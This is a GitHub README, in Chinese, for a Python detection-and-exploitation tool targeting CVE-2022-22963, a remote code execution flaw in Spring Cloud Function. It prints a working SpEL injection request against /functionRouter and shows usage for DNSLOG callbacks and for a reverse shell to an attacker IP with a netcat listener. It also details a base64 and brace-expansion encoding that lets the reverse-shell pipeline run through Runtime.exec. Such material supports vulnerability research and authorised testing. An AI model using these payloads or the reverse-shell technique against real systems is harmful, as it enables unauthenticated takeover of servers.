xmqaq/CVE-2022-22963

GitHub: xmqaq/CVE-2022-22963

针对 Spring Cloud Function SpEL 注入远程代码执行漏洞(CVE-2022-22963)的检测与利用工具,支持 DNSLOG 验证和反弹 Shell。

Stars: 1 | Forks: 0

# CVE-2022-22963 [![Python](https://img.shields.io/badge/python-3.6%2B-blue)](https://www.python.org/) [![License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) Spring Cloud Function SpEL 表达式注入远程代码执行漏洞检测与利用工具。 ## 漏洞概述 **CVE-2022-22963** 是 Spring Cloud Function 路由功能中的一个高危 RCE 漏洞(CVSS 9.8)。当应用启用 `/functionRouter` 端点时,`spring.cloud.function.routing-expression` 请求头的值会被直接作为 SpEL(Spring Expression Language)表达式执行,攻击者无需认证即可在目标服务器上执行任意系统命令。 **受影响版本:** | 分支 | 受影响版本 | 修复版本 | |------|-----------|---------| | 3.1.x | < 3.1.7 | 3.1.7 | | 3.2.x | < 3.2.3 | 3.2.3 | **漏洞原理:** POST /functionRouter HTTP/1.1 Host: target.example.com spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id") Content-Type: application/x-www-form-urlencoded test 服务器执行 SpEL 后,`exec()` 返回 `Process` 对象,Spring 尝试将其序列化时抛出异常,响应 HTTP 500。命令在后台异步执行,**结果不会回显在 HTTP 响应中**,需通过 DNSLOG 或反弹 Shell 等侧信道确认。 ## 功能 - **漏洞检测**:通过 SpEL 触发特征响应,判断目标是否存在漏洞 - **DNSLOG 验证**:发送 `ping` 请求到 DNSLOG 域名,通过 DNS 记录确认命令执行 - **反弹 Shell**:利用 base64 编码绕过空格限制,向指定地址弹回交互式 Shell ## 安装 pip install requests Python 3.6+ 无其他依赖。 ## 使用方法 python3 CVE-2022-22963.py -u <目标URL> [选项] ### 参数说明 | 参数 | 说明 | 默认值 | |------|------|--------| | `-u, --url` | 目标 URL(必填) | — | | `-c, --check` | 检测漏洞是否存在 | — | | `-m, --mode` | 利用模式:`dnslog` 或 `shell` | — | | `-d, --dns` | DNSLOG 域名(`-m dnslog` 时使用) | — | | `-i, --ip` | 反弹 Shell 接收端 IP(`-m shell` 时使用) | — | | `-p, --port` | 反弹 Shell 接收端口 | `9999` | | `-t, --timeout` | 请求超时时间(秒) | `5` | ### 漏洞检测 python3 CVE-2022-22963.py -u http://target.example.com -c 2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞! ### DNSLOG 验证 用于在无回显的情况下确认命令实际执行: python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn 2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行) 随后在 DNSLOG 平台查看是否收到来自目标 IP 的 DNS 查询记录。 ### 反弹 Shell 在攻击机上开启监听: nc -lvnp 9999 发送 payload: python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999 2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标) ## 技术细节 ### 检测原理 检测请求向 `/functionRouter` 发送真实 SpEL 表达式: T(java.lang.Runtime).getRuntime().exec('id') - **存在漏洞**:SpEL 被执行,`Process` 对象无法序列化 → `HTTP 500` + `"path":"/functionRouter"` - **不存在漏洞**:头部被忽略,函数路由失败 → 响应码或 body 不符合上述特征 ### 反弹 Shell 编码流程 `Runtime.exec(String)` 不经过 shell 解释,直接按空格 tokenize 命令字符串,无法处理管道和重定向。工具通过以下方式绕过: 1. 将反弹 Shell 命令 base64 编码,消除特殊字符 2. 使用 bash brace expansion `{cmd,arg}` 代替空格 3. 最终由目标 bash 的 `-c` 参数处理管道和重定向 bash -c {echo,BASE64}|{base64,-d}|{bash,-i} ↕ Java exec 按空格 tokenize ["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"] ↕ bash -c 对参数做 brace expansion echo BASE64 | base64 -d | bash -i ## 更新日志 | 日期 | 版本 | 说明 | |------|------|------| | 2023-12-28 | v1.0 | 初始版本发布 | | 2025-10-09 | v1.1 | 代码重构,优化参数处理和错误处理 | | 2026-06-29 | v1.2 | 修复检测误报、context path 路径拼接、exploit 返回值语义问题 | ## 免责声明 本工具仅供**安全研究、授权渗透测试和教育目的**使用。 使用本工具即表示您同意: 1. 仅在获得明确书面授权的目标系统上使用 2. 遵守所在地区所有适用的法律法规 3. 对使用本工具产生的一切后果承担完全责任 作者不对任何未授权使用行为及其后果承担任何责任。
标签:CISA项目, Python, RCE, Spring Cloud, 无后门, 逆向工具